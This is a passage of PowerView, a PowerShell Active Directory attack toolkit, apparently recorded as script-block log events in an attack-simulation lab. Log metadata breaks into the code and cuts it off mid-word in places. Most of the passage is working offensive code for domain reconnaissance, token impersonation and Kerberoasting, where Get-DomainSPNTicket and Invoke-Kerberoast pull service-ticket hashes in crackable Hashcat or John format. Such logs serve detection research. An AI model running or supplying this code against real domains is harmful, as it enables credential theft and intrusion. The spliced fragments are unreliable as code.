Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainController -Domain 'test.local'
Determine the domain controllers for 'test.local'.
.EXAMPLE
Get-DomainController -Domain 'test.local' -LDAP
Determine the domain controllers for 'test.local' using LDAP queries.
.EXAMPLE
'test.local' | Get-DomainController
Determine the domain controllers for 'test.local'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainController -Credential $Cred
.OUTPUTS
PowerView.Computer
Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
System.DirectoryServices.ActiveDirectory.DomainController
If -LDAP isn't specified.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Computer')]
[OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Switch]
$LDAP,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
# UAC specification for domain controllers
$Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
Get-DomainComputer @Arguments
}
else {
$FoundDomain = Get-Domain @Arguments
if ($FoundDomain) {
$FoundDomain.DomainControllers
}
}
}
}
function Get-Forest {
<#
.SYNOPSIS
Returns the forest object for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertTo-SID
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
forest or the forest specified with -Forest X.
.PARAMETER Forest
The forest name to query for, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-Forest -Forest external.domain
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Forest -Credential $Cred
.OUTPUTS
System.Management.Automation.PSCustomObject
Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
to the forest root domain SID.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
if ($PSBoundParameters['Forest']) {
$TargetForest = $Forest
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetForest = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"
}
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
$Null
}
}
elseif ($PSBoundParameters['Forest']) {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"
return $Null
}
}
else {
# otherwise use the current forest
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if ($ForestObject) {
# get the SID of the forest root
if ($PSBoundParameters['Credential']) {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
}
else {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
}
$Parts = $ForestSid -Split '-'
$ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}
function Get-ForestDomain {
<#
.SYNOPSIS
Return all domains for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all domains for the current forest or the forest specified
by -Forest X.
.PARAMETER Forest
Specifies the forest name to query for domains.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-ForestDomain
.EXAMPLE
Get-ForestDomain -Forest external.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestDomain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]cb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118502Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local748herArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-PathAcl {
<#
.SYNOPSIS
Enumerates the ACL for a given file path.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID
.DESCRIPTION
Enumerates the ACL for a specified file/folder path, and translates
the access rules for each entry into readable formats. If -Credential is passed,
Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
.PARAMETER Path
Specifies the local or remote path to enumerate the ACLs for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target path.
.EXAMPLE
Get-PathAcl "\\SERVER\Share\"
Returns ACLs for the given UNC share.
.EXAMPLE
gci .\test.txt | Get-PathAcl
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
.INPUTS
String
One of more paths to enumerate ACLs for.
.OUTPUTS
PowerView.FileACL
A custom object with the full path and associated ACL entries.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FileACL')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('FullName')]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
function Convert-FileRight {
# From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
[CmdletBinding()]
Param(
[Int]
$FSR
)
$AccessMask = @{
[uint32]'0x80000000' = 'GenericRead'
[uint32]'0x40000000' = 'GenericWrite'
[uint32]'0x20000000' = 'GenericExecute'
[uint32]'0x10000000' = 'GenericAll'
[uint32]'0x02000000' = 'MaximumAllowed'
[uint32]'0x01000000' = 'AccessSystemSecurity'
[uint32]'0x00100000' = 'Synchronize'
[uint32]'0x00080000' = 'WriteOwner'
[uint32]'0x00040000' = 'WriteDAC'
[uint32]'0x00020000' = 'ReadControl'
[uint32]'0x00010000' = 'Delete'
[uint32]'0x00000100' = 'WriteAttributes'
[uint32]'0x00000080' = 'ReadAttributes'
[uint32]'0x00000040' = 'DeleteChild'
[uint32]'0x00000020' = 'Execute/Traverse'
[uint32]'0x00000010' = 'WriteExtendedAttributes'
[uint32]'0x00000008' = 'ReadExtendedAttributes'
[uint32]'0x00000004' = 'AppendData/AddSubdirectory'
[uint32]'0x00000002' = 'WriteData/AddFile'
[uint32]'0x00000001' = 'ReadData/ListDirectory'
}
$SimplePermissions = @{
[uint32]'0x1f01ff' = 'FullControl'
[uint32]'0x0301bf' = 'Modify'
[uint32]'0x0200a9' = 'ReadAndExecute'
[uint32]'0x02019f' = 'ReadAndWrite'
[uint32]'0x020089' = 'Read'
[uint32]'0x000116' = 'Write'
}
$Permissions = @()
# get simple permission
$Permissions += $SimplePermissions.Keys | ForEach-Object {
if (($FSR -band $_) -eq $_) {
$SimplePermissions[$_]
$FSR = $FSR -band (-not $_)
}
}
# get remaining extended permissions
$Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] }
($Permissions | Where-Object {$_}) -join ','
}
$ConvertArguments = @{}
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
try {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$ACL = Get-Acl -Path $TargetPath
$ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
$SID = $_.IdentityReference.Value
$Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Path' $TargetPath
$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
$Out | Add-Member Noteproperty 'IdentityReference' $Name
$Out | Add-Member Noteproperty 'IdentitySID' $SID
$Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
$Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL')
$Out
}
}
catch {
Write-Verbose "[Get-PathAcl] error: $_"
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Convert-LDAPProperty {
<#
.SYNOPSIS
Helper that converts specific LDAP property result fields and outputs
a custom psobject.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts a set of raw LDAP properties results from ADSI/LDAP searches
into a proper PSObject. Used by several of the Get-Domain* function.
.PARAMETER Properties
Properties object to extract out LDAP fields for display.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with LDAP hashtable properties translated.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$Properties
)
$ObjectProperties = @{}
$Properties.PropertyNames | ForEach-Object {
if ($_ -ne 'adspath') {
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
# convert all listed sids (i.e. if multiple are listed in sidHistory)
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
}
elseif ($_ -eq 'grouptype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
}
elseif ($_ -eq 'samaccounttype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
}
elseif ($_ -eq 'objectguid') {
# convert the GUID to a string
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
elseif ($_ -eq 'useraccountcontrol') {
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
}
elseif ($_ -eq 'ntsecuritydescriptor') {
# $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
if ($Descriptor.Owner) {
$ObjectProperties['Owner'] = $Descriptor.Owner
}
if ($Descriptor.Group) {
$ObjectProperties['Group'] = $Descriptor.Group
}
if ($Descriptor.DiscretionaryAcl) {
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
}
if ($Descriptor.SystemAcl) {
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
}
}
elseif ($_ -eq 'accountexpires') {
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
$ObjectProperties[$_] = "NEVER"
}
else {
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
}
}
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
# convert timestamps
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# if we have a System.__ComObject
$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
}
else {
# otherwise just a string
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# try to convert misc com objects
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
}
catch {
Write-Verbose "[Convert-LDAPProperty] error: $_"
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif ($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
}
try {
New-Object -TypeName PSObject -Property $ObjectProperties
}
catch {
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
}
}
########################################################
#
# Domain info functions below.
#
########################################################
function Get-DomainSearcher {
<#
.SYNOPSIS
Helper used by various functions that builds a custom AD searcher object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain
.DESCRIPTION
Takes a given domain and a number of customizations and returns a
System.DirectoryServices.DirectorySearcher object. This function is used
heavily by other LDAP/ADSI searcher functions (Verb-Domain*).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER SearchBasePrefix
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local
Return a searcher for all objects in testlab.local.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
.EXAMPLE
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
.OUTPUTS
System.DirectoryServices.DirectorySearcher
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.DirectorySearcher')]
[CmdletBinding()]
Param(
[Parameter(ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[String]
$SearchBasePrefix,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit = 120,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Manacb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118501Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local648gs about STA vs MTA.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
.OUTPUTS
IntPtr
The TokenHandle result from LogonUser.
#>
[OutputType([IntPtr])]
[CmdletBinding(DefaultParameterSetName = 'Credential')]
Param(
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential,
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
[ValidateNotNull()]
[IntPtr]
$TokenHandle,
[Switch]
$Quiet
)
if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
}
if ($PSBoundParameters['TokenHandle']) {
$LogonTokenHandle = $TokenHandle
}
else {
$LogonTokenHandle = [IntPtr]::Zero
$NetworkCredential = $Credential.GetNetworkCredential()
$UserDomain = $NetworkCredential.Domain
$UserName = $NetworkCredential.UserName
Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
# LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
# this is to simulate "runas.exe /netonly" functionality
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
}
# actually impersonate the token from LogonUser()
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
if (-not $Result) {
throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
$LogonTokenHandle
}
function Invoke-RevertToSelf {
<#
.SYNOPSIS
Reverts any token impersonation.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses RevertToSelf() to revert any impersonated tokens.
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
CloseHandle() is used to close the opened handle.
.PARAMETER TokenHandle
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$Token = Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf -TokenHandle $Token
#>
[CmdletBinding()]
Param(
[ValidateNotNull()]
[IntPtr]
$TokenHandle
)
if ($PSBoundParameters['TokenHandle']) {
Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
$Result = $Kernel32::CloseHandle($TokenHandle)
}
$Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
}
function Get-DomainSPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of Hashcat).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote domain using Invoke-UserImpersonation.
.EXAMPLE
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
PowerView.User
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding(DefaultParameterSetName = 'RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}
ForEach ($Object in $TargetObject) {
if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName = $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = 'UNKNOWN'
$DistinguishedName = 'UNKNOWN'
}
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
$UserSPN = $UserSPN[0]
}
try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
}
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$Out = New-Object PSObject
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
} else {
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
}
if($Hash) {
# JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
$Out
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket
.DESCRIPTION
Uses Get-DomainUser to query for user accounts with non-null service principle
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
The ticket format can be specified with -OutputFormat <John/Hashcat>.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
